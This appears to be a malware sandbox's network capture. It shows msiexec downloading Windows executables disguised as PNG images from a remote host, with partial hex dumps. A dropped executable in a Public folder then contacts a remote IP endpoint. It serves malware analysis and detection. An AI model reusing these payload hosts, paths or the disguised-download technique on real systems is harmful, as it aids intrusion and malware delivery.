Aug 2, 2024 14:17:02.084894896 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 206 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:02.261106968 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:02 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:02.262398005 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 201 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:02.434998989 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:02 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:02.436314106 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 208 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:02.607554913 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:02 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:02.608793974 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 212 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:02.779546022 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:02 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:02.782300949 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 191 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:02.955787897 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:02 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:02.957190990 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 183 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:03.129096985 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:03 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:03.143570900 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 176 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:03.264168024 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:03 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:03.275492907 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 184 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:03.447489023 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:03 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:03.448471069 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 184 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:03.624078989 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:03 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:03.625138998 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 172 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:03.797333002 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:03 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:03.802505016 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 179 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:03.975414991 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:03 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:03.976695061 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 219 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:04.104751110 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:04 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:04.106086969 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 181 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:05.217828035 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:04 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:05.219234943 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:04 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:05.220309019 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:04 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:05.221962929 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:04 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49712	20.15.106.83	80	7820	C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 14:17:15.660221100 CEST	191	OUT	GET /SCP/index.php?VS=VS3&PL=NAO HTTP/1.1 User-Agent: "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36" Host: 20.15.106.83 Connection: Keep-Alive
Aug 2, 2024 14:17:16.350012064 CEST	256	IN	HTTP/1.1 302 Found Date: Fri, 02 Aug 2024 12:17:16 GMT Server: Apache/2.4.58 (Ubuntu) Location: https://acons2020temix54.lisf/ Content-Length: 8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 65 77 20 59 6f 72 6b Data Ascii: New York

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49706	188.114.97.3	443	7176	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-02 12:16:47 UTC	164	OUT	GET /carol1.png HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: yznv.prefintions.pro
2024-08-02 12:16:48 UTC	695	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:16:47 GMT Content-Type: image/png Content-Length: 702976 Connection: close Last-Modified: Fri, 02 Aug 2024 00:37:11 GMT ETag: "aba00-61ea88725bbc0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZC2%2Fv7CG48TKMwUOe12u0YxWOsjBgG%2Bklnz%2BHEJfdcRxvXDOLU1W13%2FnWNaqt8nVdi0xgkfNVPUTbrx6Wi6diYHtKe4snhO%2B3BWM07xghnIxgKXcd1zaVUDZCtdNW7%2FEWnDpSoXNmQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ace0049cd335e66-EWR alt-svc: h3=":443"; ma=86400
2024-08-02 12:16:48 UTC	674	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 37 29 ac 66 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 e0 03 00 00 0e 00 00 00 00 00 00 fe fd 03 00 00 20 00 00 00 00 04 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 0b 00 00 04 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 4c 00 04 00 28 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL7)f! @L(
2024-08-02 12:16:48 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-08-02 12:16:48 UTC	1369	IN	Data Raw: 27 00 00 6a 5a 2a 11 04 2a 11 04 15 6a 2e 10 11 04 17 6a 33 14 21 ff ff ff ff ff ff ff 7f 2a 21 00 00 00 00 00 00 00 80 2a 72 e7 00 00 70 12 04 28 28 00 00 0a 28 21 00 00 0a 73 4c 00 00 06 7a 72 17 01 00 70 12 03 fe 16 04 00 00 02 6f 20 00 00 0a 28 21 00 00 0a 73 4c 00 00 06 7a 02 6f 64 00 00 06 2a 72 b9 00 00 70 02 6f 4f 00 00 06 0a 12 00 fe 16 08 00 00 02 6f 20 00 00 0a 28 21 00 00 0a 73 4c 00 00 06 7a 00 13 30 05 00 9f 00 00 00 06 00 00 11 16 6a 0a 16 0b 16 0c 02 28 70 00 00 06 13 04 2b 37 09 17 59 45 03 00 00 00 02 00 00 00 0b 00 00 00 14 00 00 00 2b 1b 02 6f 77 00 00 06 0a 2b 18 02 6f 5a 00 00 06 0b 2b 0f 02 6f 5a 00 00 06 0c 2b 06 02 6f 76 00 00 06 02 6f 71 00 00 06 25 0d 16 30 be 11 04 02 28 6f 00 00 06 06 2d 09 07 2d 06 7e 29 00 00 0a 2a 06 15 6e Data Ascii: 'jZ*j.j3!!rp(((!sLzrpo (!sLzodrpoOo (!sLz0j(p+7YE+ow+oZ+oZ+ovoq%0(o--~)*n
2024-08-02 12:16:48 UTC	1369	IN	Data Raw: 02 16 0d 09 39 9d 00 00 00 06 2c 73 02 6f 34 00 00 0a 13 06 02 75 23 00 00 01 2d 25 03 12 06 6f 18 00 00 06 10 02 04 16 2f 17 72 1c 02 00 70 11 06 6f 32 00 00 0a 28 21 00 00 0a 73 33 00 00 0a 7a 03 6f 19 00 00 06 11 06 12 05 6f 9b 00 00 06 11 05 2d 03 1a 2b 01 19 16 03 28 1b 00 00 06 03 28 3e 00 00 06 11 05 2d 16 1e 18 03 28 1b 00 00 06 03 11 06 6f 46 00 00 06 03 28 35 00 00 06 1f 0a 07 03 28 1b 00 00 06 02 75 23 00 00 01 2c 0e 02 74 23 00 00 01 03 28 35 00 00 06 2b 08 02 04 03 28 15 00 00 06 08 03 28 25 00 00 06 2a 5a 20 b2 07 00 00 17 17 16 16 16 16 73 35 00 00 0a 80 0e 00 00 04 2a 00 00 00 03 30 08 00 6e 00 00 00 00 00 00 00 04 2d 0b 72 30 0d 00 70 73 1b 00 00 0a 7a 04 7b 21 00 00 04 2d 0b 72 3e 0d 00 70 73 33 00 00 0a 7a 02 04 28 21 00 00 06 03 16 32 Data Ascii: 9,so4u#-%o/rpo2(!s3zoo-+((>-(oF(5(u#,t#(5+((%Z s50n-r0psz{!-r>ps3z(!2
2024-08-02 12:16:48 UTC	1369	IN	Data Raw: d4 2a 20 80 00 00 00 03 28 2c 00 00 06 02 03 7b 2a 00 00 04 03 7b 2b 00 00 04 03 7b 2a 00 00 04 8e 69 03 7b 2b 00 00 04 59 6f a9 00 00 0a 25 0c 16 31 1e 03 25 7b 2c 00 00 04 08 58 7d 2c 00 00 04 03 25 7b 2b 00 00 04 08 58 7d 2b 00 00 04 2b b1 2a c2 02 16 fe 04 16 fe 01 28 b2 00 00 06 03 25 7b 2b 00 00 04 02 58 7d 2b 00 00 04 03 25 7b 2c 00 00 04 02 58 7d 2c 00 00 04 03 15 7d 25 00 00 04 2a 26 02 03 16 28 24 00 00 06 2a 00 00 13 30 04 00 c3 00 00 00 0e 00 00 11 02 7b 28 00 00 04 2d 10 02 73 74 01 00 06 7d 28 00 00 04 38 9d 00 00 00 03 39 97 00 00 00 02 7b 28 00 00 04 03 6f 7e 01 00 06 25 0a 16 3f 83 00 00 00 72 5c 0f 00 70 28 ae 00 00 06 02 7b 28 00 00 04 6f 7b 01 00 06 0b 2b 1d 12 01 28 c9 01 00 06 0c 08 2c 08 08 6f 20 00 00 0a 2b 05 72 84 07 00 70 28 ae Data Ascii: * (,{{+{i{+Yo%1%{,X},%{+X}++(%{+X}+%{,X},}%&($*0{(-st}(89{(o~%?r\p({(o{+(,o +rp(
2024-08-02 12:16:48 UTC	1369	IN	Data Raw: 00 06 03 7b 2a 00 00 04 8e 69 03 7b 2b 00 00 04 59 02 32 01 2a 03 7c 2a 00 00 04 02 03 7b 2b 00 00 04 58 16 03 7b 2b 00 00 04 28 cc 00 00 06 2a 8a 02 7b 26 00 00 04 2d 08 02 7b 24 00 00 04 2c 0b 72 aa 10 00 70 73 33 00 00 0a 7a 02 28 2a 00 00 06 2a 72 02 7b 26 00 00 04 2d 08 02 7b 24 00 00 04 2c 0b 72 06 11 00 70 73 33 00 00 0a 7a 2a 1e 02 7b 21 00 00 04 2a c2 02 7b 24 00 00 04 2d 27 02 7b 2b 00 00 04 2c 1f 02 7b 20 00 00 04 02 7b 2a 00 00 04 16 02 7b 2b 00 00 04 6f bf 00 00 0a 02 16 7d 2b 00 00 04 2a 00 13 30 04 00 61 00 00 00 11 00 00 11 1b 03 28 2c 00 00 06 16 0a 03 7b 2a 00 00 04 03 25 7b 2b 00 00 04 0b 07 17 58 7d 2b 00 00 04 07 02 1f 7f 5f 20 80 00 00 00 60 d2 9c 06 17 58 0a 02 1d 64 25 10 00 2d d1 03 7b 2a 00 00 04 03 7b 2b 00 00 04 17 59 8f 2b 00 Data Ascii: {i{+Y2\|{+X{+({&-{$,rps3z(*r{&-{$,rps3z{!{$-'{+,{ {{+o}+0a(,{%{+X}+_ `Xd%-{*{+Y+
2024-08-02 12:16:48 UTC	1369	IN	Data Raw: 1f 18 63 d2 9c 06 07 1a 58 06 07 1b 58 06 07 1c 58 06 07 1d 58 16 25 0d 9c 09 25 0d 9c 09 25 0d 9c 09 9c 1e 03 28 20 00 00 06 2a 02 28 32 00 00 06 03 28 31 00 00 06 03 15 7d 25 00 00 04 2a 02 16 32 0f 02 03 28 31 00 00 06 03 15 7d 25 00 00 04 2a 1f 0a 03 28 2c 00 00 06 03 7b 2a 00 00 04 0a 03 7b 2b 00 00 04 0b 06 07 02 20 80 00 00 00 60 d2 9c 06 07 17 58 02 1d 63 20 80 00 00 00 60 d2 9c 06 07 18 58 02 1f 0e 63 20 80 00 00 00 60 d2 9c 06 07 19 58 02 1f 15 63 20 80 00 00 00 60 d2 9c 06 07 1a 58 02 1f 1c 63 20 80 00 00 00 60 d2 9c 06 07 1b 58 06 07 1c 58 06 07 1d 58 06 07 1e 58 20 ff 00 00 00 25 0d 9c 09 25 0d 9c 09 25 0d 9c 09 9c 06 07 1f 09 58 17 9c 1f 0a 03 28 20 00 00 06 2a 03 28 42 00 00 06 7a 00 00 13 30 02 00 4e 00 00 00 0c 00 00 11 03 2d 0b 72 30 0d Data Ascii: cXXXX%%%( (2(1}%2(1}%(,{{+ `Xc `Xc `Xc `Xc `XXXX %%%X( *(Bz0N-r0
2024-08-02 12:16:48 UTC	1369	IN	Data Raw: 58 0a 91 0b 04 04 4b 07 1f 7f 5f 1f 0e 62 60 54 07 20 80 00 00 00 5f 2d 02 19 2a 02 7b 41 00 00 04 19 33 07 02 28 87 00 00 06 7a 02 7b 3a 00 00 04 06 25 17 58 0a 91 0b 04 04 4b 07 1f 7f 5f 1f 15 62 60 54 07 20 80 00 00 00 5f 2d 02 1a 2a 02 7b 41 00 00 04 1a 33 07 02 28 87 00 00 06 7a 02 7b 3a 00 00 04 06 91 0b 04 04 4b 07 1f 1c 62 60 54 07 20 f0 00 00 00 5f 2d 02 1b 2a 03 2c 76 07 20 f0 00 00 00 5f 20 f0 00 00 00 33 68 02 7b 41 00 00 04 1f 0a 32 5e 02 7b 3a 00 00 04 06 17 58 25 0a 91 20 ff 00 00 00 33 4b 02 7b 3a 00 00 04 06 17 58 25 0a 91 20 ff 00 00 00 33 38 02 7b 3a 00 00 04 06 17 58 25 0a 91 20 ff 00 00 00 33 25 02 7b 3a 00 00 04 06 17 58 25 0a 91 20 ff 00 00 00 33 12 02 7b 3a 00 00 04 06 17 58 25 0a 91 17 33 03 1f 0a 2a 73 a8 00 00 0a 02 28 86 00 00 Data Ascii: XK_b`T _-{A3(z{:%XK_b`T _-{A3(z{:Kb`T _-,v _ 3h{A2^{:X% 3K{:X% 38{:X% 3%{:X% 3{:X%3s(
2024-08-02 12:16:48 UTC	1369	IN	Data Raw: 40 00 00 04 02 02 7b 41 00 00 04 1e 59 7d 41 00 00 04 02 7b 3a 00 00 04 02 02 7b 3f 00 00 04 0b 07 17 58 7d 3f 00 00 04 07 91 6e 02 7b 3a 00 00 04 02 02 7b 3f 00 00 04 0b 07 17 58 7d 3f 00 00 04 07 91 6e 1e 62 60 02 7b 3a 00 00 04 02 02 7b 3f 00 00 04 0b 07 17 58 7d 3f 00 00 04 07 91 6e 1f 10 62 60 02 7b 3a 00 00 04 02 02 7b 3f 00 00 04 0b 07 17 58 7d 3f 00 00 04 07 91 6e 1f 18 62 60 02 7b 3a 00 00 04 02 02 7b 3f 00 00 04 0b 07 17 58 7d 3f 00 00 04 07 91 6e 1f 20 62 60 02 7b 3a 00 00 04 02 02 7b 3f 00 00 04 0b 07 17 58 7d 3f 00 00 04 07 91 6e 1f 28 62 60 02 7b 3a 00 00 04 02 02 7b 3f 00 00 04 0b 07 17 58 7d 3f 00 00 04 07 91 6e 1f 30 62 60 02 7b 3a 00 00 04 02 02 7b 3f 00 00 04 0b 07 17 58 7d 3f 00 00 04 07 91 6e 1f 38 62 60 2a 02 28 66 00 00 06 28 63 00 Data Ascii: @{AY}A{:{?X}?n{:{?X}?nb`{:{?X}?nb`{:{?X}?nb`{:{?X}?n b`{:{?X}?n(b`{:{?X}?n0b`{:{?X}?n8b`*(f(c
2024-08-02 12:16:48 UTC	1369	IN	Data Raw: 2d 11 72 15 09 00 70 73 33 00 00 0a 04 28 86 00 00 06 7a 04 28 70 00 00 06 03 16 32 12 04 7b 3b 00 00 04 03 02 04 6f 3e 01 00 06 10 00 2b 26 05 14 28 b1 00 00 0a 2c 17 04 7b 3b 00 00 04 04 16 17 05 0f 00 17 16 17 16 6f 37 01 00 06 2d 06 05 28 41 01 00 06 04 28 6f 00 00 06 02 2a 00 13 30 03 00 b3 00 00 00 0f 00 00 11 03 2d 0b 72 89 09 00 70 73 1b 00 00 0a 7a 02 7b 38 00 00 04 0a 03 7b 43 00 00 04 0b 07 1a 33 41 06 16 32 11 72 97 09 00 70 73 b2 00 00 0a 03 28 86 00 00 06 7a 06 65 03 7b 3c 00 00 04 2e 0c 03 72 a3 09 00 70 6f 6b 00 00 06 7a 03 15 7d 43 00 00 04 03 25 7b 3d 00 00 04 17 59 7d 3d 00 00 04 2a 06 03 7b 40 00 00 04 2f 0c 03 72 cf 09 00 70 6f 6b 00 00 06 7a 03 7b 42 00 00 04 03 7b 40 00 00 04 2e 19 03 7b 42 00 00 04 20 ff ff ff 7f 2e 0c 03 72 0b 0a Data Ascii: -rps3(z(p2{;o>+&(,{;o7-(A(o0-rpsz{8{C3A2rps(ze{<.rpokz}C%{=Y}={@/rpokz{B{@.{B .r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49707	188.114.97.3	443	7176	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-02 12:16:49 UTC	165	OUT	GET /derrama.png HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: yznv.prefintions.pro
2024-08-02 12:16:49 UTC	685	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:16:49 GMT Content-Type: image/png Content-Length: 358000 Connection: close Last-Modified: Fri, 16 Feb 2024 08:56:10 GMT ETag: "57670-6117bea4f9e80" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4mZlDEbatzoGft89ux8rMPw9tIgH9I7J4MIoU8fYvGuXmfu8%2BliLI3TcPdYYKcojWTe4V9xOsQTxgmUW1fbjUbL0YPDOfbc2W7H41jEiSC4GXYjgkq9nFQBVmyFq24lUjUwl2WRvbQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ace00558ccf17b5-EWR alt-svc: h3=":443"; ma=86400
2024-08-02 12:16:49 UTC	684	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ba 9c 67 2e fe fd 09 7d fe fd 09 7d fe fd 09 7d 2d 8f 0a 7c f4 fd 09 7d 2d 8f 0c 7c 5b fd 09 7d ac 88 0d 7c ec fd 09 7d ac 88 0a 7c e9 fd 09 7d ac 88 0c 7c aa fd 09 7d 45 88 0c 7c fc fd 09 7d 2d 8f 0d 7c e9 fd 09 7d 2d 8f 0f 7c ff fd 09 7d 2d 8f 08 7c f0 fd 09 7d fe fd 09 7d fd fd 09 7d fe fd 08 7d 7b fc 09 7d 45 88 00 7c db fd 09 7d 45 88 f6 7d ff fd 09 7d fe fd 9e 7d ff fd 09 Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$g.}}}-\|}-\|[}\|}\|}\|}E\|}-\|}-\|}-\|}}}}{}E\|}E}}}
2024-08-02 12:16:49 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
